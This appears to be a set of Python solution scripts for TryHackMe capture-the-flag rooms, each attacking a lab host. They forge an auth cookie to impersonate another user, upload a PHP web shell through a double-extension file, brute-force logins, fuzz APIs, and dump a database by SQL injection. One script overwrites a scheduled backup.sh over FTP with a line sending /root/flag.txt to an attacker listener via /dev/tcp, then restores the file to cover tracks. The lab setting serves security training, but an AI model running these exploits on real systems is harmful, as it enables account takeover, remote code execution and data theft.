1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#!/usr/bin/env python3

import requests
import os
import json
from binascii import hexlify, unhexlify
import re

# From the deployed box in TryHackMe
url = "http://10.10.231.43/"

import requests

# Headers from BurpSuite, converted from Curl to Requests
# https://curl.trillworks.com/

headers = {
    'Host': '10.10.231.43',
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0',
    'Accept': 'application/json',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'Referer': 'http://10.10.231.43/',
    'Content-Type': 'text/plain;charset=UTF-8',
    'Origin': 'http://10.10.231.43',
    'Content-Length': '41',
    'Connection': 'close',
}


s = requests.session()
r = s.get(url)

# Register for account for a random user
username = hexlify(os.urandom(8)).decode()
data = '{"username":"%s", "password":"password"}' % username
r = s.post(url + '/api/adduser',data=data, headers=headers)

# Log in a new user
r = s.post(url + '/api/login', data=data, headers=headers)

# Access home page to see cookie
r = s.get(url)
originalcookie = s.cookies
for c in s.cookies:
    print(f"The cookie name is {c.name}").

# Decode the cookie, convert to dictionary, change username
target = json.loads(unhexlify(s.cookies['auth']).decode())
target['username'] = 'santa'
cookies = hexlify(json.dumps(target,separators=(', ', ':')).encode())
print(f"Santas cookie is {cookies.decode()}")

# Create hacked cookie to access Santa's account
cookies = {'auth':cookies.decode()}

# Reset session for new cookie
s = requests.session()

# Check if the flag is visible
# (Needed when running multiple times)
r = s.post(url + '/api/checkflag', cookies=cookies)

# Iterate through the services to enable flag
if 'flag' not in r.text:

    services = [
        'Part Picking',
        'Assembly',
        'Painting',
        'Touch-up',
        'Sorting',
        'Sleigh Loading'
        ]

    for service in services:
        data = '{"service":"%s"}' % service
        r = s.post(url + '/api/service', data=data, cookies=cookies)

# Pull the flag from the site now that services are enabled
flag = re.findall('THM{[^\}]*}',r.text)
if flag:
    print(f"The Flag is {flag[0]}")

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python3

import requests
import os
from base64 import b64encode
from binascii import hexlify
import time

url = "http://10.10.242.121"

s = requests.session()

code = "ODIzODI5MTNiYmYw"
params = {'id':code}

r = s.get(url, params=params)

fn = hexlify(os.urandom(8)).decode()

payload = f"<?php system('cp /var/www/flag.txt /var/www/html/uploads/{fn}.txt');?>"
payload = b64encode(payload.encode())

data = """
{
   "name":"%s.jpg.php",
   "id":"ODIzODI5MTNiYmYw",
   "mime":"application/x-php",
   "body":"data:application/x-php;base64,%s"
}
""" % (fn, payload.decode())

r = s.post(url+ '/upload',data=data)
r = s.get(url + f'/uploads/{fn}.jpg.php')
r = s.get(url + f'/uploads/{fn}.txt')

print (r.text)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/env python3

import requests
from bs4 import BeautifulSoup as bs
import re

flagpattern = re.compile('THM{[^}]*}')

url = "http://10.10.51.66"

s = requests.session()
r = s.get(url)

soup = bs(r.text,features='lxml')

methods = {'post': s.post, 'get': s.get}

form = soup.find_all('form')[0]
inputs = [element['name'] for element in form.find_all('input') ]
form_url = form.get('action')
form_method = form.get('method')

usernames = ['root', 'admin', 'user']
passwords = ['root', 'password', '12345']

for username in usernames:
    password = "thisisnotthepassword"
    inputs = [element['name'] for element in form.find_all('input') ]
    payload = {}
    for i in inputs:
        payload[i] = vars()[i]
    r = methods[form_method](url + form_url, data = payload, allow_redirects=False)
    if 'username_incorrect' not in r.text:
        print(f'Username found to be {username}')
        break

for password in passwords:
    inputs = [element['name'] for element in form.find_all('input') ]
    payload = {}
    for i in inputs:
        payload[i] = vars()[i]
    r = methods[form_method](url + form_url, data = payload, allow_redirects=False)
    if 'password_incorrect' not in r.text:
        print(f'Password found to be {password}')
        break

r = methods[form_method](url + form_url, data=payload)
match = flagpattern.findall(r.text)
if match:
    print(f'Flag is {match[0]}')

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python3

import requests
from bs4 import BeautifulSoup as bs
import re

url = 'http://10.10.44.41/'
flagpatt = re.compile('THM{[^}]*}')

s = requests.session()

with open('big.txt') as f:
    big = f.read().splitlines()

for b in big:
    if 'api' in b:
        r = s.get(url + b)
        if r.status_code != 404:
            break

api = b

r = s.get(url + b)

soup = bs(r.text,features='lxml')

links = []
for link in soup.findAll('a', attrs={'href': re.compile("\w*\.\w*")}):
    links.append(link.get('href'))

with open('wordlist') as f:
    fuzzes = f.read().splitlines()

for link in links:
    r = s.get(url + link)
    for fuzz in fuzzes:
        r = s.get(url + api + '/' + link, params={'date':fuzz})
        match = flagpatt.findall(r.text)
        if match:
            print(f'Working file in /{api} found at {link}')
            print(f'flag {match[0]} found at {fuzz}')
            break

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#!/usr/bin/env python3

import requests
from bs4 import BeautifulSoup as bs
import re


url = "http://10.10.32.80:8000/"

login = 'santapanel' # hint helps here


s = requests.session()
r = s.get(url + login)

username = "' or 1=1 -- "
password = 'whatevs'

data = {'username':username, 'password':password}

r = s.post(url + login, data=data,allow_redirects=False)
soup = bs(r.text, features='lxml')


def query(payload):
    params = {'search': payload}
    r = s.get(url+login,params=params,cookies=s.cookies)
    soup = bs(r.text, features='lxml')
    
    data = []
    table = soup.find('table')
    rows = table.find_all('tr')
    for row in rows:
        cols = row.find_all('td')
        cols = [ele.text.strip() for ele in cols]
        data.append([ele for ele in cols if ele]) # Get rid of empty values
    return(data)


## Get Number of Columns
print("=== Getting number of columns ===")
for c in range(1,15):
    payload = f"' or 1=1 order by {c} -- "
    data = query(payload)
    if 'error' in data[1]:
        break
colcnt = c-1

print(f"Number of columns is {colcnt}")

## Get Table Names
print("\n\n=== Getting Table Name === ")
payload = "madeye' union select tbl_name,tbl_name from sqlite_master -- "
data = query(payload)
tables = [d[1] for d in data[1:]]
print(tables)

## Get Columns for Tables
patt = re.compile('CREATE TABLE (\w*) (\([^\)]*\))')
print(f"\n\n=== Getting Columns for Tables ===")
payload = "madeye' union select sql, sql from sqlite_master -- " 
data =  query(payload)
_tables = {}
for d in data[1:]:
    match = patt.findall(d[0])
    if match:
        _tables[match[0][0]] = match[0][1]
tables = {}
for table, columns in _tables.items():
    cols = [c.split()[0] for c in columns[1:-1].split(',')]
    tables[table] = cols
for tbl,col in tables.items():
    print(f"Table {tbl} has columns {col}")

# Dump Tables
print("\n\n=== Dumping Tables ===")
for table, columns in tables.items():
    print(f'Table: {table}')
    print(' : '.join(columns))
    print('----------------')
    results = []
    colp = "||' : '||".join(columns)
    payload = f"madeye' union select {colp},'1' from {table} -- " 
    data = query(payload)
    for d in data[1:]:
        print(d[0])
    print("--------------")
    print(f"Total Entries: {len(data[1:])}")
    print('\n')

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env python3

import subprocess
from scapy.all import *

# Question 1

pkts = rdpcap('pcap1.pcap')

for pkt in pkts:
    if ICMP in pkt and pkt[ICMP].type == 8:
        answer = pkt[IP].src

print(f"Question 1 answer is {answer}")
print()

# Question 3
print("Q3 answer:")
cmd = 'tshark -r pcap1.pcap -Y "http.request.method==GET" -T fields '
cmd += ' -e ip.src -e http.request.uri'
stdoutdata = subprocess.getoutput(cmd)
print("stdoutdata: " + stdoutdata)
print()

# Question 4
pkts = rdpcap('pcap2.pcap')

for pkt in pkts:
    if TCP in pkt and pkt[TCP].dport == 21:
        if Raw in pkt and 'PASS' in pkt[Raw].load.decode():
            password = pkt[Raw].load

print(f'Question 4 answer is {password.split()[1].strip().decode()}')

# Question 6

cmd = "tshark -r mypcap.pcap --export-objects 'http,exportdir'"
stdoutdata = subprocess.getoutput(cmd)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env python3

from pwn import *
import requests
from bs4 import BeautifulSoup as bs

target = "10.10.219.32"

context.log_level = 'error'

with open('top1000.txt') as f:
    top1000 = f.readline().strip().split(',')

openports = []
for port in top1000:
    p = int(port)
    try:
        r = remote(target,p)
        print(f'Connected successfully to {port}')
        openports.append(p)
        r.close()
    except:
        pass

print(f'Open ports are {sorted(openports)}')

# Access the webserver

for port in openports:
    url = f"http://{target}:{port}/"
    try:
        r = requests.get(url)
        if r.status_code == 200:
            soup = bs(r.text, features='lxml')
            print (soup.title.text)
    except:
        pass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#!/usr/bin/env python3
from ftplib import FTP
from pwn import *
from binascii import hexlify

context.log_level = 'error'

host = '10.10.66.142'
LHOST = [redacted]

output = ""

def get(inp):
    global output
    output += inp + '\n'

def cleandir(listing):
    return [l.split(' ')[-1] for l in listing.split('\n') if len(l) > 0 ]


ftp = FTP(host)
ftp.login()
ftp.dir(get)

directories = cleandir(output)

print(directories)

for directory in directories:
    output = ""
    ftp.dir(directory, get)
    if len(output) > 0:
        subdir = cleandir(output)
        print(f'Directory {directory} contains {subdir}')
        break
        
for fname in subdir:
    output = ""
    print(f'Downloding {directory}/{fname}\n=================')
    ftp.retrlines(f'RETR {directory}/{fname}',get)
    print(output)
    with open(fname,'w') as f:
        f.write(output)

exploit = "#!/bin/bash\n"
exploit += f"cat /root/flag.txt > /dev/tcp/{LHOST}/9001"

target = 'backup.sh'

with open('exploit.sh','w') as f:
    f.write(exploit)

with open('exploit.sh','rb') as f:
    ftp.storbinary(f"STOR {directory}/{target}",f)

#confirm upload
output = ""
ftp.retrlines(f'RETR {directory}/{target}',get)

# catch flag
l = listen(port=9001, bindaddr=LHOST)
flag = l.readline()
l.close()

print(flag.decode())

# covertracks
target = "backup.sh"
with open('backup.sh','rb') as f:
    ftp.storbinary(f"STOR {directory}/{target}",f)

ftp.close()